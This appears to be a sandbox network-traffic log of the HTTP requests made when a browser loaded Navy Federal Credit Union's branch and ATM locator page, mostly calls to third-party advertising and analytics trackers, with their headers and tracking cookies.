Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=309707&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=425240&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /ddm/activity/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"If-None-Match: "2775054c068b37509e0798448f7fd32c"If-Modified-Since: Mon, 20 May 2024 07:02:14 GMTsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUYBSgDMgsI9qCM7sGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
Source: global traffic	HTTP traffic detected: GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=SZvKJIhCHPwBR9E8&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815430 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=KreBfevQqGi6c3kE&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815430 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s38309634341966?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A16%205%20240&sdid=70343B24F90FE0B6-3CEBE931959AA0ED&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Abranches-atms&g=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Abranches-atms&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Ahome&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Abranches-atms&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A15&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D37%20%7C%20initialPercentViewed%3D37%20%2B%20%7C%20foldsSeen%3D1%20%7C%20foldsAvailable%3D2&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v77=nfo%20branches-atms&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion%7C5.5.0; _fbp=fb.
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZjeEVJWlZVYXcwRVowVGdiWmNKMFBrcjQ4NU9Iek9zWmxDS0lyYnNzY0FpUFl2UGFEZUdBUVVpRW1MMmxrUk54Q1hBUlROLytKb1JDTEVoYkhja2xqSkI0MXErUzZTZlNLWDYvTHBXTGNVST0mWGdYU0hNZUNVNDVHUURoUndNcW01TVdmbGFFPQ=="
Source: global traffic	HTTP traffic detected: GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZjeEVJWlZVYXcwRVowVGdiWmNKMFBrcjQ4NU9Iek9zWmxDS0lyYnNzY0FpUFl2UGFEZUdBUVVpRW1MMmxrUk54Q1hBUlROLytKb1JDTEVoYkhja2xqSkI0MXErUzZTZlNLWDYvTHBXTGNVST0mWGdYU0hNZUNVNDVHUURoUndNcW01TVdmbGFFPQ=="
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=425240&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=309707&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /v3/pr?exlist=n-xr-HMT_n-id-HMT_n-eq-HMT3_n-ix-HMT_n-y-HMT_n-cx-HMT_n-telaria_imdb_n-lucid_n-samba.tv_n-rb-HMT3_adb_mp_af_n-sk_n-mediarithmics_n-lm-HMT3_index_n-kg-HMT_an_n-pm-HMT_rb_nsln_nd_n-ym-HMT_n-ox-hmt_tbl_ns_bsw_bk_n-dm2-HMT_gem_fw_n-fo-HMT_n-kr-new_n-bsw-hmt_n-st-HMT1_n-fw-HMT1_adelphic_g_kr_n-comscr.com_ox_n-tl-HMT_n-semasio-ecm_n-gg-HMT2_n-g-hmt_n-ispot_pm&fv=1.0&a=cm&ex-pl-n-kr-new=kPjPVzcpSpSWqX-qFhnPog&dmt=3&ex-pl-n-g-hmt=NhMAxWQXQXCpVGBgov47lA&ep=ttam_T219Ay-cPciHbT10qLgVOIEbsMYXWypcOsaQyZQ5vTh8iP9aEddoDR7b0Fw0f8pWSQN1-GMZyp4NBCbsL-dXZSua1n_XD13GuVxHmj2ErOUng2G4bPzEE4Htz6_C2MBKRFtY3Fukg87MoO5HYYYxQh378Q6P8tc6G1_asTyAew0UU43AmFqODjkM_L6lYL79EiyLzWBd54ntaxYAAjA23r3zw3DMFacaErdGD-JW5etUkCNCz4fpGoT24iKbgllyoDhSBpsx6W1xSSlGyaiIrLKkbD_UPc6KDfeOtD2l6sTFwmlFN32gib43ydbDLEhDcJQ1DWf0RFvJVEBaN5mDSZrR1w6JDUhPZpvLM7fJBQn9V3OhBMBaKJwtHIIfoQUYVoua4dvuFW3WMJSjt2KzV6uGM13OcRhJgSk03Gk-Qjvnv782zM3m8AveeAY1HXi1bMCqkm668Ow-e-MAmwvkGdciYDX2ogZ0v1yU7g197z6GtxYdITQNm6hjXYOy7wGbhxuQ9PvhEScnkTJXccqkVr7PMrmQyX8kfYhsphTQ8-NEgqOG4khSFxIn9Em1GbqFxLs9jNqXfmX-9qdSfAloDzvJrxxWGHRXt5jju2ZVUPA9yAnauraXTmIa3oEZhvUadeZ8nJuSlrIPgNrRGR4m9XwztZUud5p6rGR3U5in-wnfd0G5-oTsIsMByz7269sZEibxfNbQjMuLE0Bk1aGMExDWEcQGXitBUi_30TvcYExiOovanQsLMowIFY582R7PryRrnoivHOV7hwsEKaS2lGor0k1b3SMfx6Xi6nSMuuzcjrCVU19eGQ_P9Af3eP__COvgYoGTI_rKdZyqPvdtVvkYiFj002MUEMP8Puef4q25ssaiy5Uz90h-PqzoQMuClTu-j0gH4OcywVMJ2KymtPPvpnmmPm9-XBnitStcFnfPwIQvrMRGJ96x3zQJIGIIfOUedVWg4fDIcclVXd7OX12-eWasXbZpmlfWY1zNy-53mNqwaYfc8YmMSUpi4F7pUk5oaFV0_MSAr_kvGKgXhS-lVMPi89wHFq_TcT0U0KlUwHDmta7pKtXdO71gIZ-kHiYb3AnPSsVIupmYDlC12ZY-0LPAYmb8StH6AyDnKi3ky5MOeqgzGznj1JR7leqHFay3zIfvgBbZ2ZFGA HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://s.amazon-adsystem.com/iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E&cb=755192992926268200&dcc=tAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
